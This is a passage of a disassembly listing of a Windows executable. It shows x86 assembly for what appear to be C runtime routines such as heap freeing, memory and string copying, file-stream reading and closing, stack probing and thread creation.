[ebp+var_18] mov [edx-8], eax mov eax, [ebp+var_8] mov eax, dword_4111A8[eax*4] cmp eax, [ebp+var_4] jnz short loc_44934A mov eax, [ebp+var_8] mov edx, [ebp+var_18] mov dword_4111A8[eax*4], edx loc_44934A: ; CODE XREF: sub_449151+1A2j ; sub_449151:loc_449311j ... mov [ebx], edi mov eax, edi shl eax, 2 mov edx, ebx sub edx, eax mov [edx+4], edi loc_449358: ; CODE XREF: sub_449151+E4j cmp edi, dword_4111E4 ja short loc_449392 cmp edi, dword_4111DC ja short loc_44937A mov eax, dword_4111D8 cmp edi, eax setnbe al and eax, 1 mov [ebp+var_10], eax jmp short loc_44938D ; --------------------------------------------------------------------------- loc_44937A: ; CODE XREF: sub_449151+215j mov eax, dword_4111E0 cmp edi, eax setnbe al and eax, 1 add eax, 2 mov [ebp+var_10], eax loc_44938D: ; CODE XREF: sub_449151+227j mov eax, [ebp+var_10] jmp short loc_4493C2 ; --------------------------------------------------------------------------- loc_449392: ; CODE XREF: sub_449151+20Dj cmp edi, dword_4111EC ja short loc_4493AF mov eax, dword_4111E8 cmp edi, eax setnbe al and eax, 1 add eax, 4 mov [ebp+var_10], eax jmp short loc_4493C2 ; --------------------------------------------------------------------------- loc_4493AF: ; CODE XREF: sub_449151+247j mov eax, dword_4111F0 cmp edi, eax setnbe al and eax, 1 add eax, 6 mov [ebp+var_10], eax loc_4493C2: ; CODE XREF: sub_449151+23Fj ; sub_449151+25Cj mov eax, [ebp+var_10] mov [ebp+var_8], eax cmp [ebp+var_C], eax jz loc_4494BE cmp [ebp+var_C], 0 jl short loc_44944A mov eax, [ebx-4] mov [ebp+var_14], eax cmp ebx, [ebp+var_14] jnz short loc_449419 mov eax, [ebp+var_C] mov dword_4111A8[eax*4], 0 mov eax, [ebp+var_C] cmp dword_4111F8, eax jnz short loc_44944A jmp short loc_449403 ; --------------------------------------------------------------------------- loc_4493FD: ; CODE XREF: sub_449151+2C4j inc dword_4111F8 loc_449403: ; CODE XREF: sub_449151+2AAj mov eax, dword_4111F8 cmp dword_4111A8[eax*4], 0 jnz short loc_449417 cmp eax, 7 jl short loc_4493FD loc_449417: ; CODE XREF: sub_449151+2BFj jmp short loc_44944A ; --------------------------------------------------------------------------- loc_449419: ; CODE XREF: sub_449151+28Fj mov eax, [ebx-8] mov [ebp+var_18], eax mov edx, [ebp+var_18] mov eax, [ebp+var_14] mov [edx-4], eax mov edx, [ebp+var_14] mov eax, [ebp+var_18] mov [edx-8], eax mov eax, [ebp+var_C] cmp ebx, dword_4111A8[eax*4] jnz short loc_44944A mov eax, [ebp+var_C] mov edx, [ebp+var_18] mov dword_4111A8[eax*4], edx loc_44944A: ; CODE XREF: sub_449151+284j ; sub_449151+2A8j ... mov eax, [ebp+var_8] mov eax, dword_4111A8[eax*4] mov [ebp+var_18], eax test eax, eax jnz short loc_449480 mov [ebp+var_14], ebx mov [ebp+var_18], ebx mov eax, [ebp+var_8] mov dword_4111A8[eax*4], ebx mov eax, [ebp+var_8] cmp dword_4111F8, eax jle short loc_449489 mov eax, [ebp+var_8] mov dword_4111F8, eax jmp short loc_449489 ; --------------------------------------------------------------------------- loc_449480: ; CODE XREF: sub_449151+308j mov eax, [ebp+var_18] mov eax, [eax-8] mov [ebp+var_14], eax loc_449489: ; CODE XREF: sub_449151+323j ; sub_449151+32Dj mov eax, [ebp+var_18] mov [ebx-4], eax mov edx, [ebp+var_18] mov [edx-8], ebx mov edx, [ebp+var_14] mov [edx-4], ebx mov eax, [ebp+var_14] mov [ebx-8], eax mov eax, edi shl eax, 2 mov edx, ebx sub edx, eax mov [edx+4], edi mov [ebx], edi mov eax, [ebp+var_8] mov dword_4111FC, eax mov dword_4111A8[eax*4], ebx loc_4494BE: ; CODE XREF: sub_449151+26j ; sub_449151+27Aj pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_449151 endp ; --------------------------------------------------------------------------- db 8Dh, 0BFh, 4 dup(0) db 8Dh, 0BFh, 4 dup(0) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4494D1 proc near ; CODE XREF: sub_443397+Fp ; DMN1:00443459p ... var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 ; FUNCTION CHUNK AT 00449544 SIZE 00000011 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_40F8A4 push offset sub_408478 push large dword ptr fs:0 mov large fs:0, esp sub esp, 8 push ebx push esi push edi mov [ebp+var_18], esp mov ebx, [ebp+arg_0] test ebx, ebx jz short loc_449544 lea eax, [ebx-4] cmp eax, dword_4111D0 jbe short loc_449511 cmp eax, dword_4111CC jb short loc_44951A loc_449511: ; CODE XREF: sub_4494D1+36j push ebx call sub_44AA11 pop ecx jmp short loc_449544 ; --------------------------------------------------------------------------- loc_44951A: ; CODE XREF: sub_4494D1+3Ej push 0 call sub_44AB21 pop ecx mov [ebp+var_4], 0 push ebx call sub_449151 pop ecx or [ebp+var_4], 0FFFFFFFFh call sub_44953B jmp short loc_449544 sub_4494D1 endp ; =============== S U B R O U T I N E ======================================= sub_44953B proc near ; CODE XREF: sub_4494D1+63p push 0 call sub_44ABA1 pop ecx retn sub_44953B endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4494D1 loc_449544: ; CODE XREF: sub_4494D1+2Bj ; sub_4494D1+47j ... pop edi pop esi pop ebx mov ecx, [ebp+var_10] mov large fs:0, ecx mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_4494D1 ; --------------------------------------------------------------------------- db 8Dh, 0BFh, 4 dup(0) db 8Dh, 0BFh, 4 dup(0) ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ebx push esi push edi mov ebx, [ebp+8] mov esi, [ebp+10h] mov edi, ebx cmp [edi+4], esi jnb short loc_449577 mov esi, [edi+4] loc_449577: ; CODE XREF: DMN1:00449572j push esi mov eax, [ebp+0Ch] push eax mov eax, [edi] push eax call sub_449A11 add esp, 0Ch mov eax, [edi] add eax, esi mov [edi], eax sub [edi+4], esi mov eax, ebx pop edi pop esi pop ebx pop ebp retn ; --------------------------------------------------------------------------- db 8Dh, 7Fh, 0 db 8Dh, 0BCh, 27h, 4 dup(0) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4495A1 proc near ; CODE XREF: DMN1:00443411p ; DMN1:00443441p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 8 push ebx cmp [ebp+arg_4], 0 jnz short loc_4495BD lea eax, [ebp+var_4] mov [ebp+var_8], eax mov [ebp+var_4], 0 jmp short loc_4495CD ; --------------------------------------------------------------------------- loc_4495BD: ; CODE XREF: sub_4495A1+Bj mov eax, [ebp+arg_0] mov [ebp+var_8], eax mov eax, [ebp+arg_4] dec eax mov [ebp+arg_4], eax mov [ebp+var_4], eax loc_4495CD: ; CODE XREF: sub_4495A1+1Aj mov eax, [ebp+arg_C] push eax mov eax, [ebp+arg_8] push eax lea eax, [ebp+var_8] push eax push offset sub_407240 call sub_44ABC1 add esp, 10h mov ebx, eax mov edx, [ebp+var_8] mov byte ptr [edx], 0 mov eax, ebx pop ebx mov esp, ebp pop ebp retn sub_4495A1 endp ; --------------------------------------------------------------------------- db 8Dh, 0BFh, 4 dup(0) db 8Dh, 0BFh, 4 dup(0) ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 4 push ebx push esi push edi mov ebx, [ebp+8] mov esi, [ebp+10h] push 0 lea eax, [ebp-4] push eax push esi mov eax, [ebp+0Ch] push eax push ebx call dword_411D94 test eax, eax jz short loc_44962F cmp [ebp-4], esi jnz short loc_44962F mov edi, ebx jmp short loc_449631 ; --------------------------------------------------------------------------- loc_44962F: ; CODE XREF: DMN1:00449624j ; DMN1:00449629j xor edi, edi loc_449631: ; CODE XREF: DMN1:0044962Dj mov eax, edi pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- db 8Dh, 0BCh, 27h, 4 dup(0) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_449641 proc near ; CODE XREF: DMN1:00443451p ; DMN1:0044346Dp ... arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp push ebx push esi push edi call sub_44AE41 mov ebx, eax cmp eax, 0FFFFFFFFh jnz short loc_44965A or eax, 0FFFFFFFFh jmp short loc_449672 ; --------------------------------------------------------------------------- loc_44965A: ; CODE XREF: sub_449641+12j lea edi, [ebp+arg_4] push edi mov eax, [ebp+arg_0] push eax push ebx push offset sub_4072E0 call sub_44ABC1 add esp, 10h mov esi, eax loc_449672: ; CODE XREF: sub_449641+17j pop edi pop esi pop ebx pop ebp retn sub_449641 endp ; --------------------------------------------------------------------------- db 8Dh, 7Fh, 0 db 8Dh, 0BCh, 27h, 4 dup(0) ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ebx mov ebx, [ebp+10h] push ebx mov eax, [ebp+0Ch] push eax mov eax, [ebp+8] push eax call sub_449A11 add esp, 0Ch add eax, ebx pop ebx pop ebp retn ; --------------------------------------------------------------------------- db 8Dh, 7Fh, 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4496A1 proc near ; CODE XREF: DMN1:004434EDp ; sub_4448CA+17Fp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp push ebx push esi lea esi, [ebp+arg_8] push esi mov eax, [ebp+arg_4] push eax mov eax, [ebp+arg_0] push eax push offset sub_407360 call sub_44ABC1 add esp, 10h mov ebx, eax test ebx, ebx jl short loc_4496CC mov eax, [ebp+arg_0] mov byte ptr [eax+ebx], 0 loc_4496CC: ; CODE XREF: sub_4496A1+22j mov eax, ebx pop esi pop ebx pop ebp retn sub_4496A1 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4496E1 proc near ; CODE XREF: DMN1:00443512p ; sub_445B59+77p ... var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch ; FUNCTION CHUNK AT 00449745 SIZE 00000014 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_40F8B0 push offset sub_408478 push large dword ptr fs:0 mov large fs:0, esp sub esp, 0Ch push ebx push esi push edi mov [ebp+var_18], esp push 6 call sub_44AB21 pop ecx mov [ebp+var_4], 0 call sub_44AEA1 push 0FFFFFFFFh push eax mov eax, [ebp+arg_4] push eax mov eax, [ebp+arg_0] push eax call sub_44AF01 add esp, 10h mov [ebp+var_1C], eax or [ebp+var_4], 0FFFFFFFFh call sub_44973C jmp short loc_449745 sub_4496E1 endp ; =============== S U B R O U T I N E ======================================= sub_44973C proc near ; CODE XREF: sub_4496E1+54p push 6 call sub_44ABA1 pop ecx retn sub_44973C endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4496E1 loc_449745: ; CODE XREF: sub_4496E1+59j mov eax, [ebp+var_1C] pop edi pop esi pop ebx mov ecx, [ebp+var_10] mov large fs:0, ecx mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_4496E1 ; --------------------------------------------------------------------------- db 90h db 8Dh, 0BCh, 27h, 4 dup(0) ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ebx push esi push edi mov ebx, [ebp+8] mov esi, [ebp+10h] push ebx push esi push 1 mov eax, [ebp+0Ch] push eax call sub_449B41 add esp, 10h cmp eax, esi jnz short loc_449785 mov edi, ebx jmp short loc_449787 ; --------------------------------------------------------------------------- loc_449785: ; CODE XREF: DMN1:0044977Fj xor edi, edi loc_449787: ; CODE XREF: DMN1:00449783j mov eax, edi pop edi pop esi pop ebx pop ebp retn ; --------------------------------------------------------------------------- db 8Dh, 7Fh, 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_449791 proc near ; CODE XREF: DMN1:0044352Cp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx mov eax, [ebp+arg_8] push eax mov eax, [ebp+arg_4] push eax mov eax, [ebp+arg_0] push eax push offset sub_407440 call sub_44ABC1 add esp, 10h mov ebx, eax pop ebx pop ebp retn sub_449791 endp ; --------------------------------------------------------------------------- db 8Dh, 0BCh, 27h, 4 dup(0) db 8Dh, 0BCh, 27h, 4 dup(0) ; --------------------------------------------------------------------------- push ebx xor ebx, ebx loc_4497C4: ; CODE XREF: DMN1:004497DDj mov eax, off_411370[ebx*4] test eax, eax jz short loc_4497D6 push eax call sub_449941 pop ecx loc_4497D6: ; CODE XREF: DMN1:004497CDj inc ebx cmp ebx, 100h jb short loc_4497C4 pop ebx retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4497E1 proc near ; CODE XREF: sub_44AF01:loc_44B035p ; sub_44B281+B2p ... var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00449848 SIZE 00000011 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_40F8BC push offset sub_408478 push large dword ptr fs:0 mov large fs:0, esp sub esp, 8 push ebx push esi push edi mov [ebp+var_18], esp push 6 call sub_44AB21 pop ecx mov [ebp+var_4], 0 cmp dword_41105C, 0 jnz short loc_449834 mov dword_41105C, 1 push offset sub_4074A0 call sub_44B051 pop ecx loc_449834: ; CODE XREF: sub_4497E1+3Cj or [ebp+var_4], 0FFFFFFFFh call sub_44983F jmp short loc_449848 sub_4497E1 endp ; =============== S U B R O U T I N E ======================================= sub_44983F proc near ; CODE XREF: sub_4497E1+57p push 6 call sub_44ABA1 pop ecx retn sub_44983F endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4497E1 loc_449848: ; CODE XREF: sub_4497E1+5Cj pop edi pop esi pop ebx mov ecx, [ebp+var_10] mov large fs:0, ecx mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_4497E1 ; --------------------------------------------------------------------------- db 90h db 8Dh, 0BCh, 27h, 4 dup(0) ; =============== S U B R O U T I N E ======================================= sub_449861 proc near ; CODE XREF: sub_449941+39p arg_0 = dword ptr 4 push ebx push esi push edi mov ebx, [esp+0Ch+arg_0] push ebx call sub_44B081 pop ecx mov esi, eax test word ptr [ebx], 40h jz short loc_449882 mov eax, [ebx+8] push eax call sub_4494D1 pop ecx loc_449882: ; CODE XREF: sub_449861+15j mov dword ptr [ebx+8], 0 mov eax, [ebx+4] test eax, eax jl short loc_44989E push eax call sub_44B201 pop ecx test eax, eax jz short loc_44989E or esi, 0FFFFFFFFh loc_44989E: ; CODE XREF: sub_449861+2Dj ; sub_449861+38j mov eax, [ebx+3Ch] test eax, eax jz short loc_4498C4 push eax call sub_449E71 pop ecx test eax, eax jz short loc_4498B3 or esi, 0FFFFFFFFh loc_4498B3: ; CODE XREF: sub_449861+4Dj mov eax, [ebx+3Ch] push eax call sub_4494D1 pop ecx mov dword ptr [ebx+3Ch], 0 loc_4498C4: ; CODE XREF: sub_449861+42j test word ptr [ebx], 80h jz short loc_4498F5 xor edi, edi loc_4498CD: ; CODE XREF: sub_449861+89j cmp ebx, off_411370[edi*4] jnz short loc_4498E3 mov off_411370[edi*4], 0 jmp short loc_4498EC ; --------------------------------------------------------------------------- loc_4498E3: ; CODE XREF: sub_449861+73j inc edi cmp edi, 100h jb short loc_4498CD loc_4498EC: ; CODE XREF: sub_449861+80j push ebx call sub_4494D1 pop ecx jmp short loc_44992E ; --------------------------------------------------------------------------- loc_4498F5: ; CODE XREF: sub_449861+68j mov word ptr [ebx], 0 or dword ptr [ebx+4], 0FFFFFFFFh lea eax, [ebx+48h] mov [ebx+8], eax lea eax, [ebx+48h] mov [ebx+10h], eax lea eax, [ebx+48h] mov [ebx+14h], eax lea eax, [ebx+48h] mov [ebx+2Ch], eax lea eax, [ebx+48h] mov [ebx+18h], eax lea eax, [ebx+48h] mov [ebx+30h], eax lea eax, [ebx+48h] mov [ebx+1Ch], eax lea eax, [ebx+28h] mov [ebx+20h], eax loc_44992E: ; CODE XREF: sub_449861+92j mov eax, esi pop edi pop esi pop ebx retn sub_449861 endp ; --------------------------------------------------------------------------- db 8Dh, 0BFh, 4 dup(0) db 8Dh, 0BCh, 27h, 4 dup(0) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_449941 proc near ; CODE XREF: DMN1:00443535p ; sub_445B59+108p ... var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 ; FUNCTION CHUNK AT 00449997 SIZE 00000014 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_40F8C8 push offset sub_408478 push large dword ptr fs:0 mov large fs:0, esp sub esp, 0Ch push ebx push esi push edi mov [ebp+var_18], esp push 6 call sub_44AB21 pop ecx mov [ebp+var_4], 0 mov eax, [ebp+arg_0] push eax call sub_449861 pop ecx mov [ebp+var_1C], eax or [ebp+var_4], 0FFFFFFFFh call sub_44998E jmp short loc_449997 sub_449941 endp ; =============== S U B R O U T I N E ======================================= sub_44998E proc near ; CODE XREF: sub_449941+46p push 6 call sub_44ABA1 pop ecx retn sub_44998E endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_449941 loc_449997: ; CODE XREF: sub_449941+4Bj mov eax, [ebp+var_1C] pop edi pop esi pop ebx mov ecx, [ebp+var_10] mov large fs:0, ecx mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_449941 ; --------------------------------------------------------------------------- db 8Dh, 0BFh, 4 dup(0) ; =============== S U B R O U T I N E ======================================= sub_4499B1 proc near ; CODE XREF: sub_443888+Fp ; sub_4438D8+Fp ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_8] test edx, edx jz short loc_4499FF mov ecx, [esp+arg_0] xor eax, eax mov al, [esp+arg_4] push edi mov edi, ecx cmp edx, 4 jb short loc_4499F8 neg ecx and ecx, 3 jz short loc_4499DA sub edx, ecx loc_4499D4: ; CODE XREF: sub_4499B1+27j mov [edi], al inc edi dec ecx jnz short loc_4499D4 loc_4499DA: ; CODE XREF: sub_4499B1+1Fj mov ecx, eax shl eax, 8 add eax, ecx mov ecx, eax shl eax, 10h add eax, ecx mov ecx, edx and edx, 3 shr ecx, 2 jz short loc_4499F8 rep stosd test edx, edx jz short loc_4499FE loc_4499F8: ; CODE XREF: sub_4499B1+18j ; sub_4499B1+3Fj ... mov [edi], al inc edi dec edx jnz short loc_4499F8 loc_4499FE: ; CODE XREF: sub_4499B1+45j pop edi loc_4499FF: ; CODE XREF: sub_4499B1+6j mov eax, [esp+arg_0] retn sub_4499B1 endp ; --------------------------------------------------------------------------- db 8Dh, 0BFh, 4 dup(0) db 8Dh, 0BCh, 27h, 4 dup(0) ; =============== S U B R O U T I N E ======================================= sub_449A11 proc near ; CODE XREF: sub_443D76+2Cp ; sub_443DFB+57p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx mov ecx, [esp+4+arg_8] mov ebx, [esp+4+arg_0] mov edx, [esp+4+arg_4] jmp short loc_449A27 ; --------------------------------------------------------------------------- loc_449A20: ; CODE XREF: sub_449A11+18j mov al, [edx] mov [ebx], al inc ebx inc edx dec ecx loc_449A27: ; CODE XREF: sub_449A11+Dj test ecx, ecx jnz short loc_449A20 mov eax, [esp+4+arg_0] pop ebx retn sub_449A11 endp ; =============== S U B R O U T I N E ======================================= sub_449A31 proc near ; CODE XREF: sub_444529+2Ep ; sub_444832+11p ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] mov edx, ecx jmp short loc_449A3A ; --------------------------------------------------------------------------- loc_449A39: ; CODE XREF: sub_449A31+Cj inc edx loc_449A3A: ; CODE XREF: sub_449A31+6j cmp byte ptr [edx], 0 jnz short loc_449A39 mov eax, edx sub eax, ecx retn sub_449A31 endp ; --------------------------------------------------------------------------- db 8Dh, 0BFh, 4 dup(0) db 8Dh, 0BCh, 27h, 4 dup(0) ; =============== S U B R O U T I N E ======================================= sub_449A51 proc near ; CODE XREF: sub_4445B7+3Fp ; sub_4448CA+2D6p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push edi mov ecx, [esp+8+arg_0] mov ebx, [esp+8+arg_4] mov edi, ecx loc_449A5D: ; CODE XREF: sub_449A51+18j mov eax, edi inc edi mov edx, ebx inc ebx mov dl, [edx] mov [eax], dl test dl, dl jnz short loc_449A5D mov eax, ecx pop edi pop ebx retn sub_449A51 endp ; --------------------------------------------------------------------------- db 90h ; =============== S U B R O U T I N E ======================================= sub_449A71 proc near ; CODE XREF: sub_4445B7+53p ; sub_4445B7+66p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ecx, [esp+4+arg_0] mov ebx, [esp+4+arg_4] mov edx, ecx jmp short loc_449A7F ; --------------------------------------------------------------------------- loc_449A7E: ; CODE XREF: sub_449A71+11j inc edx loc_449A7F: ; CODE XREF: sub_449A71+Bj cmp byte ptr [edx], 0 jnz short loc_449A7E jmp short loc_449A88 ; --------------------------------------------------------------------------- loc_449A86: ; CODE XREF: sub_449A71+1Dj inc edx inc ebx loc_449A88: ; CODE XREF: sub_449A71+13j mov al, [ebx] mov [edx], al test al, al jnz short loc_449A86 mov eax, ecx pop ebx retn sub_449A71 endp ; --------------------------------------------------------------------------- db 8Dh, 0BFh, 4 dup(0) db 8Dh, 0BCh, 27h, 4 dup(0) ; =============== S U B R O U T I N E ======================================= sub_449AA1 proc near ; CODE XREF: sub_4448CA+268p ; sub_4448CA+297p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi push edi mov ebx, [esp+0Ch+arg_0] mov eax, [esp+0Ch+arg_4] cmp byte ptr [eax], 0 jnz short loc_449AD1 mov eax, ebx jmp short loc_449AEA ; --------------------------------------------------------------------------- loc_449AB5: ; CODE XREF: sub_449AA1+45j mov edi, ebx mov esi, [esp+0Ch+arg_4] loc_449ABB: ; CODE XREF: sub_449AA1+2Dj inc esi mov eax, esi cmp byte ptr [eax], 0 jnz short loc_449AC7 mov eax, ebx jmp short loc_449AEA ; --------------------------------------------------------------------------- loc_449AC7: ; CODE XREF: sub_449AA1+20j inc edi mov eax, edi mov dl, [esi] cmp [eax], dl jz short loc_449ABB inc ebx loc_449AD1: ; CODE XREF: sub_449AA1+Ej mov eax, [esp+0Ch+arg_4] movzx eax, byte ptr [eax] push eax push ebx call sub_44B261 add esp, 8 mov ebx, eax test eax, eax jnz short loc_449AB5 xor eax, eax loc_449AEA: ; CODE XREF: sub_449AA1+12j ; sub_449AA1+24j pop edi pop esi pop ebx retn sub_449AA1 endp ; --------------------------------------------------------------------------- db 8Dh, 7Fh, 0 ; --------------------------------------------------------------------------- pop ecx pop eax add eax, 3 and eax, 0FFFFFFFCh call sub_449B11 mov eax, esp push ecx retn ; --------------------------------------------------------------------------- db 0Fh dup(90h) ; =============== S U B R O U T I N E ======================================= sub_449B11 proc near ; CODE XREF: sub_444BB7+8p ; sub_444E23+8p ... arg_0 = byte ptr 4 push ecx cmp eax, 1000h lea ecx, [esp+4+arg_0] jb short loc_449B31 loc_449B1D: ; CODE XREF: sub_449B11+1Ej sub ecx, 1000h sub eax, 1000h test [ecx], eax cmp eax, 1000h jnb short loc_449B1D loc_449B31: ; CODE XREF: sub_449B11+Aj sub ecx, eax mov eax, esp test [ecx], eax mov esp, ecx mov ecx, [eax] mov eax, [eax+4] push eax retn sub_449B11 endp ; --------------------------------------------------------------------------- db 90h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_449B41 proc near ; CODE XREF: sub_445B59+D8p ; sub_4481D3+CBp ... var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 14h push ebx push esi push edi mov ebx, [ebp+arg_C] mov eax, [ebp+arg_0] mov [ebp+var_4], eax mov eax, [ebp+arg_4] mul [ebp+arg_8] mov esi, eax test eax, eax jz loc_449C45 cmp [ebp+arg_4], 0 jnz loc_449C1B mov eax, [ebp+arg_8] jmp loc_449C45 ; --------------------------------------------------------------------------- loc_449B75: ; CODE XREF: sub_449B41+DCj mov eax, [ebx+18h] cmp eax, [ebx+10h] ja short loc_449B8C push ebx call sub_44B281 pop ecx test eax, eax jl loc_449C23 loc_449B8C: ; CODE XREF: sub_449B41+3Aj test word ptr [ebx], 400h jz short loc_449BA7 push esi push 0Ah mov eax, [ebp+var_4] push eax call sub_44B381 add esp, 0Ch mov [ebp+var_10], eax jmp short loc_449BAE ; --------------------------------------------------------------------------- loc_449BA7: ; CODE XREF: sub_449B41+50j mov [ebp+var_10], 0 loc_449BAE: ; CODE XREF: sub_449B41+64j mov eax, [ebp+var_10] mov [ebp+var_8], eax test eax, eax jz short loc_449BC6 mov eax, [ebp+var_8] mov edx, [ebp+var_4] sub eax, edx inc eax mov [ebp+var_14], eax jmp short loc_449BC9 ; --------------------------------------------------------------------------- loc_449BC6: ; CODE XREF: sub_449B41+75j mov [ebp+var_14], esi loc_449BC9: ; CODE XREF: sub_449B41+83j mov edi, [ebp+var_14] mov eax, [ebx+18h] mov edx, [ebx+10h] sub eax, edx mov [ebp+var_C], eax cmp [ebp+var_C], edi jnb short loc_449BE6 mov [ebp+var_8], 0 mov edi, [ebp+var_C] loc_449BE6: ; CODE XREF: sub_449B41+99j push edi mov eax, [ebp+var_4] push eax mov eax, [ebx+10h] push eax call sub_449A11 add esp, 0Ch mov eax, [ebp+var_4] add eax, edi mov [ebp+var_4], eax sub esi, edi lea eax, [ebx+10h] mov edx, [eax] add edx, edi mov [eax], edx cmp [ebp+var_8], 0 jz short loc_449C1B push ebx call sub_44B081 pop ecx test eax, eax jnz short loc_449C23 loc_449C1B: ; CODE XREF: sub_449B41+26j ; sub_449B41+CDj test esi, esi jnz loc_449B75 loc_449C23: ; CODE XREF: sub_449B41+45j ; sub_449B41+D8j test word ptr [ebx], 800h jz short loc_449C31 push ebx call sub_44B081 pop ecx loc_449C31: ; CODE XREF: sub_449B41+E7j mov eax, [ebp+arg_4] mov [ebp+var_8], eax mul [ebp+arg_8] sub eax, esi mov edx, [ebp+var_8] mov ecx, edx xor edx, edx div ecx loc_449C45: ; CODE XREF: sub_449B41+1Cj ; sub_449B41+2Fj pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_449B41 endp ; --------------------------------------------------------------------------- db 90h db 8Dh, 7Ch, 27h, 0 ; --------------------------------------------------------------------------- push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_40F8D4 push offset sub_408478 push large dword ptr fs:0 mov large fs:0, esp sub esp, 0Ch push ebx push esi push edi mov [ebp-18h], esp mov ebx, [ebp+8] push ebx mov eax, dword_411770 push eax call dword_411D98 test eax, eax jnz short loc_449C93 push 1 call sub_44B571 pop ecx loc_449C93: ; CODE XREF: DMN1:00449C89j mov dword ptr [ebp-4], 0 mov eax, [ebx+44h] push eax call dword ptr [ebx+40h] pop ecx call sub_449D81 jmp short loc_449CD1 ; --------------------------------------------------------------------------- mov eax, [ebp-14h] mov eax, [eax] mov eax, [eax] mov [ebp-1Ch], eax mov eax, [ebp-14h] push eax mov eax, [ebp-1Ch] push eax call sub_44B581 add esp, 8 retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] mov eax, [ebp-1Ch] push eax call sub_44B571 pop ecx loc_449CD1: ; CODE XREF: DMN1:00449CA7j or dword ptr [ebp-4], 0FFFFFFFFh xor eax, eax pop edi pop esi pop ebx mov ecx, [ebp-10h] mov large fs:0, ecx mov esp, ebp pop ebp retn 4 ; --------------------------------------------------------------------------- db 8Dh, 0BCh, 27h, 4 dup(0) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_449CF1 proc near ; CODE XREF: DMN1:004462C6p ; DMN1:00446343p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi push edi xor esi, esi push 48h call sub_44A581 pop ecx mov ebx, eax test eax, eax jz short loc_449D60 push ebx call sub_44B441 pop ecx mov eax, [ebp+arg_0] mov [ebx+40h], eax mov eax, [ebp+arg_8] mov [ebx+44h], eax push ebx push 4 push ebx push offset sub_407930 mov eax, [ebp+arg_4] push eax push 0 call dword_411D9C mov edi, eax mov [ebx+4], eax test eax, eax jnz short loc_449D42 call dword_411CE8 mov esi, eax jmp short loc_449D60 ; --------------------------------------------------------------------------- loc_449D42: ; CODE XREF: sub_449CF1+45j mov eax, edi push eax call dword_411DA0 cmp eax, 0FFFFFFFFh jnz short loc_449D5C call dword_411CE8 mov esi, eax jmp short loc_449D60 ; --------------------------------------------------------------------------- loc_449D5C: ; CODE XREF: sub_449CF1+5Fj mov eax, edi jmp short loc_449D75 ; --------------------------------------------------------------------------- loc_449D60: ; CODE XREF: sub_449CF1+14j ; sub_449CF1+4Fj ... push ebx call sub_4494D1 pop ecx test esi, esi jz short loc_449D72 push esi call sub_44A621 pop ecx loc_449D72: ; CODE XREF: sub_449CF1+78j or eax, 0FFFFFFFFh loc_449D75: ; CODE XREF: sub_449CF1+6Dj pop edi pop esi pop ebx pop ebp retn sub_449CF1 endp ; --------------------------------------------------------------------------- db 